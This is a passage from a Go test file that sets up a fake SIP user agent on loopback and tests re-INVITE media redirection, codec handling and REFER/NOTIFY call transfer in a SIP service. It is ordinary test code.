sure + ua.Client, err = sipgo.NewClient(ua.UA) + require.NoError(t, err) + t.Cleanup(func() { ua.Client.Close() }) + + t.Cleanup(ua.CloseSinks) + return ua +} + +type sipUARequest struct { + req *sip.Request + tx sip.ServerTransaction +} + +type sipUATest struct { + bufferSize uint + log logger.Logger + + mu sync.Mutex + sinks map[string]map[string]chan *sipUARequest + + UA *sipgo.UserAgent + Server *sipgo.Server + Client *sipgo.Client + + remoteAddr netip.AddrPort // Address of the server under test (INVITE Request-URI / destination) + localAddr netip.AddrPort // Address where this UA's sipgo.Server listens (TCP/UDP) +} + +func (s *sipUATest) onRequest(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { + method := req.Method.String() + var callID string + if hdr := req.CallID(); hdr != nil { + callID = hdr.Value() + } + var cseq uint32 + if hdr := req.CSeq(); hdr != nil { + cseq = hdr.SeqNo + } + var toTag string + if hdr := req.To(); hdr != nil { + toTag = hdr.Params.GetOr("tag", "") + } + + s.mu.Lock() + defer s.mu.Unlock() + dialogMethods, ok := s.sinks[toTag] + if !ok { + dialogMethods, ok = s.sinks[""] + } + if !ok { + s.log.Infow("No listeners found, ignoring", "callID", callID, "cseq", cseq, "method", method, "toTag", toTag) + return + } + + ch, ok := dialogMethods[method] + if !ok { + ch, ok = dialogMethods[""] + } + if !ok { + s.log.Infow("No listeners found, ignoring", "callID", callID, "cseq", cseq, "method", method, "toTag", toTag) + return + } + if ch == nil { // Closed, just stop + return + } + msg := &sipUARequest{req: req, tx: tx} + if s.bufferSize > 0 { + select { + case ch <- msg: + // OK + default: + s.log.Infow("Request buffer full, dropping", "callID", callID, "cseq", cseq, "method", method) + } + } else { + go func(msg *sipUARequest) { + ch <- msg + }(msg) + } +} + +func (s *sipUATest) serveTransport(t *testing.T, transport string) error { + addr := s.localAddr.String() + switch transport { + case "tcp": + tcpL, err := net.Listen("tcp", addr) + require.NoError(t, err) + if s.localAddr.Port() == 0 { + tcpAddr, ok := tcpL.Addr().(*net.TCPAddr) + if !ok { + return errors.New("address is not a TCP address") + } + s.localAddr = netip.AddrPortFrom(netip.MustParseAddr(tcpAddr.IP.String()), uint16(tcpAddr.Port)) + } + t.Cleanup(func() { tcpL.Close() }) + go func() { + err := s.Server.ServeTCP(tcpL) + if err != nil && !errors.Is(err, net.ErrClosed) { + s.log.Errorw("sip TCP server failed", err, "transport", transport, "addr", addr) + } + }() + case "udp": + udpAddr := &net.UDPAddr{IP: s.localAddr.Addr().AsSlice(), Port: int(s.localAddr.Port())} + udpConn, err := net.ListenUDP("udp", udpAddr) + require.NoError(t, err) + if s.localAddr.Port() == 0 { + localAddr, ok := udpConn.LocalAddr().(*net.UDPAddr) + if !ok { + return errors.New("address is not a UDP address") + } + s.localAddr = netip.AddrPortFrom(netip.MustParseAddr(localAddr.IP.String()), uint16(localAddr.Port)) + } + t.Cleanup(func() { udpConn.Close() }) + go func() { + err := s.Server.ServeUDP(udpConn) + if err != nil && !errors.Is(err, net.ErrClosed) { + s.log.Errorw("sip UDP server failed", err, "transport", transport, "addr", addr) + } + }() + } + return nil +} + +func (s *sipUATest) RegisterSink(localTag string, method string) <-chan *sipUARequest { + s.mu.Lock() + defer s.mu.Unlock() + dialogMethods, ok := s.sinks[localTag] + if !ok { + dialogMethods = make(map[string]chan *sipUARequest) + s.sinks[localTag] = dialogMethods + } + sink, ok := dialogMethods[method] + if !ok { + sink = make(chan *sipUARequest, s.bufferSize) + dialogMethods[method] = sink + } + return sink +} + +func (s *sipUATest) UnregisterSink(localTag string, method string) bool { + s.mu.Lock() + defer s.mu.Unlock() + dialogMethods, ok := s.sinks[localTag] + if !ok { + return false + } + sink, ok := dialogMethods[method] + if !ok { + return false + } + close(sink) + delete(dialogMethods, method) + return true +} + +func (s *sipUATest) CloseSinks() { + s.mu.Lock() + defer s.mu.Unlock() + for localTag, dialogMethods := range s.sinks { + for method, sink := range dialogMethods { + close(sink) + delete(dialogMethods, method) + } + delete(s.sinks, localTag) + } +} + +func (s *sipUATest) Address() netip.AddrPort { + return s.remoteAddr +} + +func (s *sipUATest) LocalURI() *sip.Uri { + return &sip.Uri{ + Scheme: "sip", + Host: s.localAddr.Addr().String(), + Port: int(s.localAddr.Port()), + } +} + +func (s *sipUATest) NewRequest(method sip.RequestMethod, fromUser string, toUser string, callID string, cseq uint32) *sip.Request { + remoteURI := sip.Uri{Scheme: "sip", User: toUser, Host: s.remoteAddr.String()} + localURI := sip.Uri{Scheme: "sip", User: fromUser, Host: s.localAddr.Addr().String(), Port: int(s.localAddr.Port())} + + req := sip.NewRequest(method, remoteURI) + fromTag := sip.GenerateTagN(16) + req.AppendHeader(&sip.FromHeader{ + Address: localURI, + Params: sip.HeaderParams{{K: "tag", V: fromTag}}, + }) + req.AppendHeader(&sip.ToHeader{ + Address: remoteURI, + }) + req.AppendHeader(&sip.ContactHeader{ + Address: localURI, + }) + callIDHdr := sip.CallIDHeader(callID) + req.AppendHeader(&callIDHdr) + req.AppendHeader(&sip.CSeqHeader{SeqNo: cseq, MethodName: method}) + req.SetDestination(s.remoteAddr.String()) + return req +} + +func (s *sipUATest) TransactionRequest(t *testing.T, req *sip.Request, isFromUAC bool) *sip.Response { + t.Helper() + tx, err := s.Client.TransactionRequest(req) + require.NoError(t, err) + defer tx.Terminate() + + resp := getFinalResponseOrFail(t, nil, tx) + if req.Method == sip.INVITE && resp.StatusCode < 300 { + // Need to send ACK for 2xx INVITE, sipgo already sends ACK for 3xx+ + ack := sip.NewAckRequest(req, resp, nil) + err = s.Client.WriteRequest(ack) + require.NoError(t, err) + } + return resp +} + +var index atomic.Int32 + +type sipUADialogTest struct { + TestUA *sipUATest + isUAS bool + callID string + localUser string + remoteUser string + localTag string + remoteTag LocalTag + localCseq uint32 + remoteCseq uint32 + remoteSDP []byte + localSDP []byte + routeSet []sip.Uri +} + +func newTestCall(testUA *sipUATest, isUAS bool) *sipUADialogTest { + i := index.Add(1) + d := &sipUADialogTest{ + TestUA: testUA, + isUAS: isUAS, + callID: fmt.Sprintf("callID-%d", i), + localUser: fmt.Sprintf("localTestUser-%d", i), + remoteUser: fmt.Sprintf("remoteTestUser-%d", i), + localTag: fmt.Sprintf("localTestTag-%d", i), + remoteTag: "", // Needs to be set by remote + localCseq: 1, + remoteCseq: 0, // Needs to be set by remote + } + if isUAS { + // sipUADialogTest generates CreateSipParticipantRequest, which needs the tag as input. + d.remoteTag = LocalTag(fmt.Sprintf("remoteTestTag-%d", i)) + } + return d +} + +func (d *sipUADialogTest) SetRemoteTag(tag LocalTag) { + d.remoteTag = tag +} + +func (d *sipUADialogTest) SetRemoteSDP(sdp []byte) { + d.remoteSDP = sdp +} + +func (d *sipUADialogTest) SetLocalSDP(sdp []byte) { + d.localSDP = sdp +} + +func (d *sipUADialogTest) SetRouteSet(resp *sip.Response, isUAC bool) { + rrHeaders := resp.GetHeaders("Record-Route") + routeSet := make([]sip.Uri, 0, len(rrHeaders)) + for _, hdr := range rrHeaders { + rr, ok := hdr.(*sip.RecordRouteHeader) + if ok { + routeSet = append(routeSet, rr.Address) + } + + } + if isUAC { + slices.Reverse(routeSet) + } + d.routeSet = routeSet +} + +func (d *sipUADialogTest) NewRequest(method sip.RequestMethod) *sip.Request { + req := d.TestUA.NewRequest(method, d.localUser, d.remoteUser, d.callID, d.localCseq) + d.localCseq++ + req.From().Params.Add("tag", string(d.localTag)) + if d.remoteTag != "" { + req.To().Params.Add("tag", string(d.remoteTag)) + } + if len(d.routeSet) > 0 { + for _, uri := range d.routeSet { + req.AppendHeader(&sip.RouteHeader{Address: uri}) + } + } + return req +} + +func (d *sipUADialogTest) Invite(offer []byte) (*sip.Request, []byte, error) { + if offer == nil { + sdpOffer, err := sdp.NewOfferWith(defaultCodecs, d.TestUA.localAddr.Addr(), 0xB0B, sdp.EncryptionNone) + if err != nil { + return nil, nil, err + } + offer, err = sdpOffer.SDP.Marshal() + if err != nil { + return nil, nil, err + } + } + req := d.NewRequest(sip.INVITE) + req.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) + req.SetBody(offer) + return req, offer, nil +} + +func (d *sipUADialogTest) CreateSipParticipantRequest() *rpc.InternalCreateSIPParticipantRequest { + req := MinimalCreateSIPParticipantRequest() + req.CallTo = d.localUser + req.Address = d.TestUA.localAddr.String() + req.Number = d.remoteUser + req.Hostname = d.TestUA.remoteAddr.Addr().String() + req.SipCallId = string(d.remoteTag) + return req +} + +func (d *sipUADialogTest) TransactionRequest(t *testing.T, req *sip.Request) *sip.Response { + return d.TestUA.TransactionRequest(t, req, !d.isUAS) +} + +func (d *sipUADialogTest) RegisterRequestChannel(method string) <-chan *sipUARequest { + return d.TestUA.RegisterSink(d.localTag, method) +} + +func (d *sipUADialogTest) UnregisterRequestChannel(method string) { + d.TestUA.UnregisterSink(d.localTag, method) +} + +type serviceTest struct { + TestUA *sipUATest + Server *Server // Processing inbound calls and SIP + Client *Client // Processing outbound calls + Handler Handler + Service *Service + + mu sync.RWMutex + Pending map[string]chan<- *sipUARequest +} + +type serviceTestConfig struct { + GetRoom GetRoomFunc +} + +// NewServiceTest builds a test harness that fakes a remote SIP peer and liveKit +// services. It uses sipgo over local network to send and receive SIP messages. + +// NOTE: Most tests should use this harness, with the following exceptions: +// 1. Next-hop routing. If a message would be sent to a destination we cannot intercept. +// 2. Noncompliant messages & behavior sipgo will not send or accept. +// In either one of these use cases, use NewTestSIP instead. +func NewServiceTest(t *testing.T, options *serviceTestConfig) *serviceTest { + t.Helper() + + if options == nil { + options = &serviceTestConfig{} + } + if options.GetRoom == nil { + options.GetRoom = newTestRoomConfig(nil) + } + + sipPort := rand.Intn(testPortSIPMax-testPortSIPMin) + testPortSIPMin + loopback := netip.MustParseAddr("127.0.0.1") + + conf := &config.Config{ + NodeID: "test-node", + MaxCpuUtilization: 0.9, + SIPPort: sipPort, + SIPPortListen: sipPort, + RTPPort: rtcconfig.PortRange{Start: testPortRTPMin, End: testPortRTPMax}, + SIPRingingInterval: time.Second, + // wsUrl: "ws://localhost:7880", + // ApiKey: "test", + // ApiSecret: strings.Repeat("k", 32), + } + mon, err := stats.NewMonitor(conf) + require.NoError(t, err) + require.NoError(t, mon.Start(conf), "start monitor so metrics (e.g. inviteReqRaw) are registered") + t.Cleanup(func() { mon.Stop() }) + deadline := time.Now().Add(2 * time.Second) + for time.Now().Before(deadline) { + if mon.Health() == stats.HealthOK { + break + } + time.Sleep(50 * time.Millisecond) + } + require.Equal(t, stats.HealthOK, mon.Health(), "monitor should be healthy") + log := logger.NewTestLogger(t) + + cli := NewClient( + "", + conf, + log, + mon, + func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { + return NewRPCStateHandler(&MockIOInfoClient{}) + }, + WithGetRoomClient(options.GetRoom), + ) + srv := NewServer( + "", + conf, + log, + mon, + func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { + return NewRPCStateHandler(&MockIOInfoClient{}) + }, + WithGetRoomServer(options.GetRoom), + WithClient(cli), + ) + require.NotNil(t, srv) + + sconf := &ServiceConfig{ + SignalingIP: loopback, + SignalingIPLocal: loopback, + MediaIP: loopback, + } + + handler := &TestHandler{} + + err = srv.Start(nil, sconf, nil, cli.OnRequest) + require.NoError(t, err) + t.Cleanup(srv.Stop) + srv.SetHandler(handler) + + err = cli.Start(nil, sconf) + require.NoError(t, err) + t.Cleanup(cli.Stop) + cli.SetHandler(handler) + + addr := netip.AddrPortFrom(loopback, uint16(sipPort)) + + service := &Service{ + conf: conf, + log: log, + mon: mon, + cli: cli, + srv: srv, + pendingTransfers: make(map[LocalTag]*PendingTransfer), + } + s := &serviceTest{ + TestUA: newUATest(t, srv.log, addr, withUATestBuffer(64)), + Server: srv, + Client: cli, + Handler: handler, + Service: service, + Pending: make(map[string]chan<- *sipUARequest), + } + sink := s.TestUA.RegisterSink("", "INVITE") + t.Cleanup(func() { + s.TestUA.UnregisterSink("", "INVITE") + }) + wg := sync.WaitGroup{} + ctx, cancel := context.WithCancel(t.Context()) + t.Cleanup(wg.Wait) + t.Cleanup(cancel) + wg.Go(func() { + s.handleInvites(ctx, sink) + }) + return s +} + +func (st *serviceTest) handleInvites(ctx context.Context, pending <-chan *sipUARequest) { + for { + select { + case <-ctx.Done(): + return + case msg, ok := <-pending: + if !ok { + st.TestUA.log.Infow("pending channel closed") + return + } + if msg == nil || msg.req == nil { + st.TestUA.log.Infow("nil message", "request", msg) + continue + } + fromHeader := msg.req.From() + if fromHeader == nil { + st.TestUA.log.Infow("from header is nil", "request", msg.req) + continue + } + remoteTag := fromHeader.Params.GetOr("tag", "") + if remoteTag == "" { + st.TestUA.log.Infow("remote tag is empty", "request", msg.req) + continue + } + st.mu.RLock() + ch, ok := st.Pending[remoteTag] + st.mu.RUnlock() + if !ok { + st.TestUA.log.Infow("pending channel not found", "remoteTag", remoteTag) + continue + } + select { + case ch <- msg: + case <-ctx.Done(): + return + } + } + } +} + +func (st *serviceTest) Address() string { + return st.TestUA.Address().String() +} + +type createCallTestOption func(req *sip.Request, resp *sip.Response) + +func withTestHeaders(headers ...sip.Header) createCallTestOption { + return func(req *sip.Request, resp *sip.Response) { + if req != nil { + for _, header := range headers { + req.AppendHeader(sip.HeaderClone(header)) + } + } + } +} + +func (st *serviceTest) CreateInboundCall(t *testing.T, opts ...createCallTestOption) (*sipUADialogTest, *inboundCall) { + t.Helper() + + call := newTestCall(st.TestUA, false) + req, localSDP, err := call.Invite(nil) + require.NoError(t, err) + for _, opt := range opts { + opt(req, nil) + } + call.SetLocalSDP(localSDP) + resp := st.TestUA.TransactionRequest(t, req, true) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "Expecting 200 OK") + remoteTag, ok := resp.To().Params.Get("tag") + require.True(t, ok, "remote tag should be present") + call.SetRemoteTag(LocalTag(remoteTag)) + call.SetRemoteSDP(resp.Body()) + call.SetRouteSet(resp, true) + t.Cleanup(func() { + bye := call.NewRequest(sip.BYE) + st.TestUA.TransactionRequest(t, bye, true) + }) + + st.Server.cmu.Lock() + defer st.Server.cmu.Unlock() + ic, ok := st.Server.byLocalTag[call.remoteTag] + require.True(t, ok, "call should be registered") + + t.Logf("inbound call: %+v", call) + return call, ic +} + +// CreateOutboundCall registers a fake outbound call so that a re-INVITE with the given localTag (To tag) +// is accepted as outbound reinvite and answered with sdpOffer. +func (st *serviceTest) CreateOutboundCall(t *testing.T, opts ...createCallTestOption) (*sipUADialogTest, *outboundCall, *sip.Request) { + t.Helper() + + call := newTestCall(st.TestUA, true) + req := call.CreateSipParticipantRequest() + ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) + defer cancel() + + inviteCh := make(chan *sipUARequest, 1) + st.mu.Lock() + st.Pending[string(call.remoteTag)] = inviteCh + st.mu.Unlock() + defer func() { + st.mu.Lock() + delete(st.Pending, string(call.remoteTag)) + st.mu.Unlock() + }() + + _, err := st.Client.CreateSIPParticipant(ctx, req) + require.NoError(t, err) + + var reqSink <-chan *sipUARequest + select { + case msg := <-inviteCh: + require.NotNil(t, msg, "unexpected nil message") + + require.Equal(t, string(call.remoteTag), msg.req.From().Params.GetOr("tag", ""), "remote tag should be the same") + require.Equal(t, call.remoteUser, msg.req.From().Address.User, "remote user should be the same") + require.Equal(t, call.localUser, msg.req.To().Address.User, "local user should be the same") + + for _, opt := range opts { + opt(msg.req, nil) // Simulate added headers + } + + offer, err := sdp.ParseOfferWith(defaultCodecs, msg.req.Body()) + require.NoError(t, err) + sdpAnswer, _, err := offer.Answer(netip.MustParseAddr("4.3.2.1"), 0xB00, sdp.EncryptionNone) + require.NoError(t, err) + answerBytes, err := sdpAnswer.SDP.Marshal() + require.NoError(t, err) + resp := sip.NewResponseFromRequest(msg.req, sip.StatusOK, "OK", answerBytes) + resp.To().Params.Add("tag", call.localTag) + + call.callID = msg.req.CallID().Value() + call.remoteCseq = msg.req.CSeq().SeqNo + call.SetRemoteSDP(msg.req.Body()) + call.SetLocalSDP(resp.Body()) + call.SetRouteSet(resp, false) + reqSink = st.TestUA.RegisterSink(call.localTag, "") + err = msg.tx.Respond(resp) + require.NoError(t, err) + case <-ctx.Done(): + require.Fail(t, "timeout waiting for invite") + } + + var ackReq *sip.Request + select { + case msg := <-reqSink: + require.NotNil(t, msg, "unexpected nil message") + require.Equal(t, string(sip.ACK), string(msg.req.Method), "Expecting ACK") + require.Equal(t, call.remoteCseq, msg.req.CSeq().SeqNo, "remote cseq should be the same") + ackReq = msg.req + case <-ctx.Done(): + require.Fail(t, "timeout waiting for ACK") + } + t.Cleanup(func() { + bye := call.NewRequest(sip.BYE) + st.TestUA.TransactionRequest(t, bye, false) + }) + + st.Client.cmu.Lock() + defer st.Client.cmu.Unlock() + oc, ok := st.Client.activeCalls[call.remoteTag] + require.True(t, ok, "call should be registered") + + t.Logf("outbound call: %+v", call) + return call, oc, ackReq +} + +func getMediaPort(t *testing.T, m MediaPort) *mediaPort { + t.Helper() + port, ok := m.(*mediaPort) + require.True(t, ok, "media port should be a *mediaPort") + return port +} + +func getMediaPortRemoteAddr(t *testing.T, m MediaPort) netip.AddrPort { + t.Helper() + port := getMediaPort(t, m) + dst := port.port.dst.Load() + require.NotNil(t, dst, "destination should be set") + return *dst +} + +// incompatibleCodecOffer builds an SDP offer whose only audio codec is not the +// one already negotiated on m. +func incompatibleCodecOffer(t *testing.T, addr netip.AddrPort, m MediaPort) []byte { + t.Helper() + codecSet := testCodecSet(g711.ULawSDPNameAndRate) + ngotiated := m.NegotiatedAudio() + require.NotNil(t, ngotiated, "media must already be negotiated") + if ngotiated.Codec.Info().SDPName == g711.ULawSDPNameAndRate { + codecSet = testCodecSet(g711.ALawSDPNameAndRate) + } + sdpOffer, err := sdp.NewOfferWith(codecSet, addr.Addr(), int(addr.Port()), sdp.EncryptionNone) + require.NoError(t, err) + offer, err := sdpOffer.SDP.Marshal() + require.NoError(t, err) + return offer +} + +func TestReinvite(t *testing.T) { + st := NewServiceTest(t, nil) + t.Run("inbound", func(t *testing.T) { + t.Parallel() + t.Run("normal", func(t *testing.T) { + t.Parallel() + call, ic := st.CreateInboundCall(t) + serverLocalSDP := call.remoteSDP + + // Re-INVITE + req, _, err := call.Invite(call.localSDP) + require.NoError(t, err) + resp := st.TestUA.TransactionRequest(t, req, true) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "Expecting 200 OK") + require.Equal(t, serverLocalSDP, resp.Body(), "reinvite 200 OK should return server local SDP") + + // Re-INVITE with new offer + newOffer, err := sdp.NewOfferWith(defaultCodecs, netip.MustParseAddr("9.8.7.6"), 12345, sdp.EncryptionNone) + require.NoError(t, err) + newOfferBytes, err := newOffer.SDP.Marshal() + require.NoError(t, err) + req, _, err = call.Invite(newOfferBytes) + require.NoError(t, err) + resp = st.TestUA.TransactionRequest(t, req, true) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "reinvite for outbound call should get 200 OK") + require.Equal(t, serverLocalSDP, resp.Body(), "reinvite 200 OK should return server local SDP") + + // After the re-INVITE with new offer, the media port destination must be updated. + require.Equal(t, newOffer.Addr, getMediaPortRemoteAddr(t, ic.media), "re-INVITE should redirect RTP to the new remote address") + }) + + t.Run("miss", func(t *testing.T) { + t.Parallel() + call, _ := st.CreateInboundCall(t) + serverLocalSDP := call.remoteSDP + + // Re-INVITE + req, _, err := call.Invite(call.localSDP) + require.NoError(t, err) + resp := st.TestUA.TransactionRequest(t, req, true) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "reinvite for outbound call should get 200 OK") + require.Equal(t, serverLocalSDP, resp.Body(), "reinvite 200 OK should return server local SDP") + + // re-INVITE with different tag + oldTag := call.remoteTag + call.remoteTag = "miss-" + call.remoteTag + t.Cleanup(func() { + req := call.NewRequest(sip.BYE) + st.TestUA.TransactionRequest(t, req, true) + call.remoteTag = oldTag + }) + req, _, err = call.Invite(call.localSDP) + require.NoError(t, err) + resp = st.TestUA.TransactionRequest(t, req, true) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "reinvite for outbound call should get 200 OK") + require.NotEqual(t, serverLocalSDP, resp.Body(), "reinvite for new call should return new server local SDP") + }) + + t.Run("no_body", func(t *testing.T) { + t.Parallel() + call, ic := st.CreateInboundCall(t) + serverLocalSDP := call.remoteSDP + initialRemote := getMediaPortRemoteAddr(t, ic.media) + + // Re-INVITE with no SDP body — destination must not change. + req := call.NewRequest(sip.INVITE) // no body, no Content-Type + resp := st.TestUA.TransactionRequest(t, req, true) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "body-less re-INVITE should still get 200 OK") + require.Equal(t, serverLocalSDP, resp.Body(), "body-less re-INVITE should return server local SDP") + require.Equal(t, initialRemote, getMediaPortRemoteAddr(t, ic.media), "body-less re-INVITE must not change RTP destination") + }) + + t.Run("incompatible_codec", func(t *testing.T) { + // TODO: change this test to confirm renegotiation when it's enabled + t.Parallel() + call, ic := st.CreateInboundCall(t) + serverLocalSDP := call.remoteSDP + initialRemote := getMediaPortRemoteAddr(t, ic.media) + initialCodec := ic.media.NegotiatedAudio().Codec.Info().SDPName + + // TODO: Change to reflect full negotiation once enabled + updatedRemote := netip.MustParseAddrPort("9.8.7.6:12345") + req, _, err := call.Invite(incompatibleCodecOffer(t, updatedRemote, ic.media)) + require.NoError(t, err) + resp := st.TestUA.TransactionRequest(t, req, true) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "incompatible re-INVITE should get 200 OK") + require.Equal(t, updatedRemote, getMediaPortRemoteAddr(t, ic.media), "incompatible re-INVITE must still change RTP destination") + require.Equal(t, initialCodec, ic.media.NegotiatedAudio().Codec.Info().SDPName, "Codec must not be updated") + + // Re-INVITE with original codec + req, _, err = call.Invite(call.localSDP) + require.NoError(t, err) + resp = st.TestUA.TransactionRequest(t, req, true) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "original offer should still be accepted") + require.Equal(t, serverLocalSDP, resp.Body(), "successful re-INVITE should return server local SDP") + require.Equal(t, initialRemote, getMediaPortRemoteAddr(t, ic.media), "original re-INVITE must restore RTP destination") + require.Equal(t, initialCodec, ic.media.NegotiatedAudio().Codec.Info().SDPName, "Codec must not be updated") + + }) + }) + t.Run("outbound", func(t *testing.T) { + t.Parallel() + t.Run("normal", func(t *testing.T) { + t.Parallel() + call, oc, _ := st.CreateOutboundCall(t) + serverLocalSDP, err := oc.media.GetLocalSDP() + require.NoError(t, err) + require.NotEqual(t, call.localSDP, serverLocalSDP, "local and remote SDP should be different") + + // Re-INVITE + req, _, err := call.Invite(call.localSDP) + require.NoError(t, err) + resp := st.TestUA.TransactionRequest(t, req, false) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "reinvite for outbound call should get 200 OK") + require.Equal(t, serverLocalSDP, resp.Body(), "reinvite 200 OK should return server local SDP") + + // Re-INVITE with new offer + newOffer, err := sdp.NewOfferWith(defaultCodecs, netip.MustParseAddr("9.8.7.6"), 12345, sdp.EncryptionNone) + require.NoError(t, err) + newOfferBytes, err := newOffer.SDP.Marshal() + require.NoError(t, err) + req, _, err = call.Invite(newOfferBytes) + require.NoError(t, err) + resp = st.TestUA.TransactionRequest(t, req, false) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "reinvite for outbound call should get 200 OK") + require.Equal(t, serverLocalSDP, resp.Body(), "reinvite 200 OK should return server local SDP") + + // After the re-INVITE with new offer, the media port destination must be updated. + require.Equal(t, newOffer.Addr, getMediaPortRemoteAddr(t, oc.media), "re-INVITE should redirect outbound call RTP to the new remote address") + }) + + t.Run("no_body", func(t *testing.T) { + t.Parallel() + call, oc, _ := st.CreateOutboundCall(t) + serverLocalSDP, err := getMediaPort(t, oc.media).GetLocalSDP() + require.NoError(t, err) + initialRemote := getMediaPortRemoteAddr(t, oc.media) + + // Re-INVITE with no SDP body — destination must not change. + req := call.NewRequest(sip.INVITE) // no body, no Content-Type + resp := st.TestUA.TransactionRequest(t, req, false) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "body-less re-INVITE should still get 200 OK") + require.Equal(t, serverLocalSDP, resp.Body(), "body-less re-INVITE should return server local SDP") + require.Equal(t, initialRemote, getMediaPortRemoteAddr(t, oc.media), "body-less re-INVITE must not change RTP destination") + }) + + t.Run("miss", func(t *testing.T) { + t.Parallel() + call, oc, _ := st.CreateOutboundCall(t) + serverLocalSDP, err := getMediaPort(t, oc.media).GetLocalSDP() + require.NoError(t, err) + + // Re-INVITE + req, _, err := call.Invite(call.localSDP) + require.NoError(t, err) + resp := st.TestUA.TransactionRequest(t, req, false) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "reinvite for outbound call should get 200 OK") + require.Equal(t, serverLocalSDP, resp.Body(), "reinvite 200 OK should return server local SDP") + + // re-INVITE with different tag + call.remoteTag = "miss-" + call.remoteTag + req, _, err = call.Invite(call.localSDP) + require.NoError(t, err) + resp = st.TestUA.TransactionRequest(t, req, false) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "reinvite for outbound call should get 200 OK") + require.NotEqual(t, serverLocalSDP, resp.Body(), "reinvite for new call should return new server local SDP") + }) + + t.Run("incompatible_codec", func(t *testing.T) { + // TODO: change this test to confirm renegotiation when it's enabled + t.Parallel() + call, oc, _ := st.CreateOutboundCall(t) + serverLocalSDP, err := oc.media.GetLocalSDP() + require.NoError(t, err) + initialCodec := oc.media.NegotiatedAudio().Codec.Info().SDPName + initialRemote := getMediaPortRemoteAddr(t, oc.media) + + // TODO: Change to reflect full negotiation once enabled + updatedRemote := netip.MustParseAddrPort("9.8.7.6:12345") + req, _, err := call.Invite(incompatibleCodecOffer(t, updatedRemote, oc.media)) + require.NoError(t, err) + resp := st.TestUA.TransactionRequest(t, req, true) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "incompatible re-INVITE should get 200 OK") + require.Equal(t, updatedRemote, getMediaPortRemoteAddr(t, oc.media), "incompatible re-INVITE must still change RTP destination") + require.Equal(t, initialCodec, oc.media.NegotiatedAudio().Codec.Info().SDPName, "Codec must not be updated") + + // Re-INVITE with original codec + req, _, err = call.Invite(call.localSDP) + require.NoError(t, err) + resp = st.TestUA.TransactionRequest(t, req, true) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "original offer should still be accepted") + require.Equal(t, serverLocalSDP, resp.Body(), "successful re-INVITE should return server local SDP") + require.Equal(t, initialRemote, getMediaPortRemoteAddr(t, oc.media), "original re-INVITE must restore RTP destination") + require.Equal(t, initialCodec, oc.media.NegotiatedAudio().Codec.Info().SDPName, "Codec must not be updated") + }) + }) +} + +func TestTransfer(t *testing.T) { + const referTo = "tel:+15551234567" + st := NewServiceTest(t, nil) + + expectHeaders := func(referTo string, headers map[string]string) []sip.Header { + expected := []sip.Header{sip.NewHeader("Refer-To", fmt.Sprintf("<%s>", referTo))} + for name, value := range headers { + expected = append(expected, sip.NewHeader(name, value)) + } + return expected + } + + handleRefer := func(t *testing.T, ctx context.Context, refChan <-chan *sipUARequest, call *sipUADialogTest, referStatus int, validateHeaders []sip.Header) error { + t.Helper() + select { + case <-ctx.Done(): + return fmt.Errorf("test aborted without receiving a REFER request: %v", ctx.Err()) + case msg := <-refChan: + require.NotNil(t, msg) + require.Equal(t, sip.REFER, msg.req.Method) + require.Equal(t, call.localTag, msg.req.To().Params.GetOr("tag", "")) + for _, expectedHeader := range validateHeaders { + reqHeaders := msg.req.GetHeaders(expectedHeader.Name()) + found := false + for _, reqHeader := range reqHeaders { + if reqHeader.Value() == expectedHeader.Value() { + found = true + break + } + } + require.True(t, found, "REFER request should contain the expected header %s: %s, instead got: %v", expectedHeader.Name(), expectedHeader.Value(), reqHeaders) + } + t.Logf("Received REFER request, responding REFER-%d %s", referStatus, sipStatus(referStatus)) + resp := sip.NewResponseFromRequest(msg.req, referStatus, sipStatus(referStatus), nil) + return msg.tx.Respond(resp) + } + } + + type notifyOption func(*sip.Request) + + withSipfrag := func(status int) notifyOption { + return func(req *sip.Request) { + req.AppendHeader(sip.NewHeader("Content-Type", "message/sipfrag")) + req.SetBody([]byte(sip.NewResponse(status, sipStatus(status)).String())) + } + } + + withSubState := func(state string) notifyOption { + return func(req *sip.Request) { + req.AppendHeader(sip.NewHeader("Subscription-State", state)) + } + } + + // sendNotifyRaw sends a single NOTIFY built from opts and asserts we answer + // it 2xx. Without withSipfrag it carries no body, which a provider is + // allowed to do for the NOTIFY that terminates the subscription. + sendNotifyRaw := func(t *testing.T, ctx context.Context, call *sipUADialogTest, opts ...notifyOption) error { + t.Helper() + select { + case <-ctx.Done(): + return fmt.Errorf("test aborted before sending NOTIFY: %v", ctx.Err()) + case <-time.After(5 * time.Millisecond): + } + notifyReq := call.NewRequest(sip.NOTIFY) + notifyReq.AppendHeader(sip.NewHeader("Event", "refer")) + for _, opt := range opts { + opt(notifyReq) + } + notifyResp := call.TransactionRequest(t, notifyReq) + t.Logf("Received NOTIFY-%d %s response", notifyResp.StatusCode, notifyResp.Reason) + require.Equal(t, 200, notifyResp.StatusCode, "Expecting 200 OK response to NOTIFY") + return nil + } + + sendNotify := func(t *testing.T, ctx context.Context, call *sipUADialogTest, notifyStatuses []int) error { + t.Helper() + require.NotEmpty(t, notifyStatuses) + for i, status := range notifyStatuses { + t.Logf("Sending NOTIFY request carrying INVITE-%d response", status) + if err := sendNotifyRaw(t, ctx, call, withSipfrag(status)); err != nil { + return fmt.Errorf("failed to send remaining %d NOTIFY requests: %w", len(notifyStatuses)-i, err) + } + } + t.Log("All NOTIFY requests sent") + return nil + } + + handleBye := func(t *testing.T, ctx context.Context, reqChan <-chan *sipUARequest, call *sipUADialogTest) error { + // This will receive the BYE request, respond with 200 OK. + t.Helper() + select { + case <-ctx.Done(): + return fmt.Errorf("test aborted without receiving a BYE 